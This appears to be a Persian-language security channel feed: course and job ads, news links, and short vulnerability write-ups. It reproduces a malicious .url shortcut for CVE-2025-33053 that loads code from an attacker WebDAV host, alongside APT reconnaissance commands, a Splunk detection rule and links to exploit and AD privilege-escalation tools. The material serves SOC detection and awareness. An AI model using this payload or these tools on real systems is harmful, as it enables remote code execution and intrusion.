SoheilSec

سلام دوستانی که هنوز ثبت نام نکردند تا تاریخ 10 مرداد می‌باشد.

💻 به تیم مدرسان TryHackBox بپیوندید! تیم TryHackBox در حال گسترش تیم مدرسان خود است و از متخصصان حوزه امنیت سایبری، تست نفوذ، تیم قرمز (Red Team) و تیم دفاعی (Blue Team) دعوت می‌کند تا به ما بپیوندند. اگر شما تجربه عملی و تخصص در یکی از حوزه‌های امنیت سایبری دارید و علاقه‌مند به انتقال دانش و تجربیات خود به دیگران هستید. همچنین اگر می‌خواهید در یک جامعه آموزشی پویا و حرفه‌ای فعالیت کنید، ما فرصتی ایده‌آل برای شما داریم در کنارتان هستیم تا دوره‌های آموزشی خود را طراحی و تدریس کنید و از حمایت تیم ما برای تولید محتوای باکیفیت بهره‌مند شوید. همچنین درآمدی متناسب با مهارت‌های خود داشته باشید و در رشد جامعه امنیت سایبری نقش مؤثری ایفا کنید. درصورت تمایل رزومه خود را برای ما ارسال کنید. Telegram: @TryHackBoxBot Gmail: TryHackBox@gmail.com

FULLY OPERATIONAL: STUXNET 15 YEARS LATER AND THE EVOLUTION OF CYBER THREATS TO CRITICAL INFRASTRUCTURE. https://homeland.house.gov/hearing/fully-operational-stuxnet-15-years-later-and-the-evolution-of-cyber-threats-to-critical-infrastructure/

سلام وقت بخیر، ویدیو معرفی دوره پاسخ به سوال‌هایی که مطرح شد. https://youtu.be/va9LZ3noBTc جهت ثبت نام در دوره و سوالی دارید که پاسخ داده نشده @soheilsec

Fortinet Fixes Critical SQL Injection Flaw in FortiWeb (CVE-2025-25257, CVSS 9.6) https://securityonline.info/fortinet-fixes-critical-sql-injection-flaw-in-fortiweb-cve-2025-25257-cvss-9-6/

طبق گزارش Check Point، یک گروه APT با استفاده از این روش بدافزار خود را اجرا کرده و کنترل سیستم را به دست گرفته‌اند. شواهد نشان می‌دهد C2 مورد استفاده یکی از اجنت‌های Mythic بوده و دستورات زیر توسط آن اجرا شده‌اند:

ipconfig.exe /all
netsh.exe in tcp show global
netsh.exe advfirewall firewall show rule name=all verbose
route.exe print

یک رول پایه برای شناسایی url

index=sysmon EventCode=1 
(Image="*iediagcmd.exe" OR CommandLine="*iediagcmd.exe*") 
AND (CommandLine="*@ssl@443*" OR CommandLine="*DavWWWRoot*" OR CommandLine="*summerartcamp*")

و اما poc آسیب پذیری: https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept

با سلام و وقت بخیر، یکی از آسیب‌پذیری‌های جدید که اخیراً مورد سوءاستفاده قرار گرفته، آسیب‌پذیری CVE-2025-33053 می‌باشد. این آسیب‌پذیری از طریق استفاده از فایل‌های .url (InternetShortcut) و ابزار داخلی ویندوز iediagcmd.exe، امکان اجرای غیرمستقیم کد را فراهم می‌کند. به‌طور خاص، مهاجم فایلی با محتوای زیر ایجاد می‌کند:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

ابزار iediagcmd.exe فایل را باز کرده و با توجه به تنظیمات آن، سیستم تلاش می‌کند تا مسیر WorkingDirectory را از طریق WebDAV بارگذاری کند. این رفتار باعث می‌شود تا امکان اجرای کد مخرب از راه دور فراهم شود.

با سلام و وقت بخیر، ضمن عرض تسلیت به مردم ایران در صورتی که در حوزه SOC فعالیت می کنید حتما آسیب پذیری CVE-2025-33073 را زیر نظر داشته باشید امکان دامپ پسورد با سطح دسترسی یوزر پایین در صورتی که dns بتواند ادد شود و smb signing خاموش باشد. https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 نمونه لاگ عکسش ضمیمه شد همچنین در صورتی که ادمین سرور هستید می توانید با کامند چک کنید

Get-DnsServerResourceRecord -ZoneName "domain.corp" | Where-Object { $_.HostName -like "*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA*" }

آگهی جذب شغلی امنیت در جهت تکمیل نیروی انسانی، شرکت فناوری اطلاعات بانک تجارت قصد دارد نیرو در حوزه های امنیت تهاجمی و امنیت تدافعی جذب نماید. کارشناس ارشد تیم آبی/بنفش • توانایی تجزیه و تحلیل حوادث امنیتی و توانایی نوشتن playbook برای حملات مختلف • تجربه کاری با مانیتورینگ امنیت، تشخیص حوادث، روش‌ها و ابزارهای تحلیل حملات • دارای مهارت‌های مستندسازی و گزارش‌نویسی کارشناس تیم قرمز • آشنایی با فرآیند تیم قرمز • توانایی پیاده سازی حملات مربوط به اکتیو دایرکتوری • تجربه کاری در حوزه شبیه سازی MITRE ATT&CK TTP • داشتن سابقه کار در حوزه ردتیم، تست نفوذ مزایا و حقوق پس از مصاحبه در صورت تمایل ارسال رزومه به لینکدین بنده یا ایمیل Soc@tejaratbank.ir

C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations https://xbz0n.sh/blog/c2-redirectors

BadSuccessor ports: Powershell : https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1 Python: https://github.com/cybrly/badsuccessor .Net : https://github.com/logangoins/SharpSuccessor added to nxc : https://github.com/Pennyw0rth/NetExec bloodyAD : https://github.com/CravateRouge/bloodyAD

BadSuccessor attack - a novel Active Directory privilege escalation technique that abuses a vulnerability in a feature introduced in Windows Server 2025. https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory https://github.com/GhostPack/Rubeus/pull/194 https://github.com/akamai/BadSuccessor

Cloak and Firewall: Exposing Netsh’s Hidden Command Tricks https://www.splunk.com/en_us/blog/security/netsh-firewall-evasion-techniques.html

Bypassing UAC via Intel ShaderCache Directory https://g3tsyst3m.github.io/uac%20bypass/Bypass-UAC-via-Intel-ShaderCache/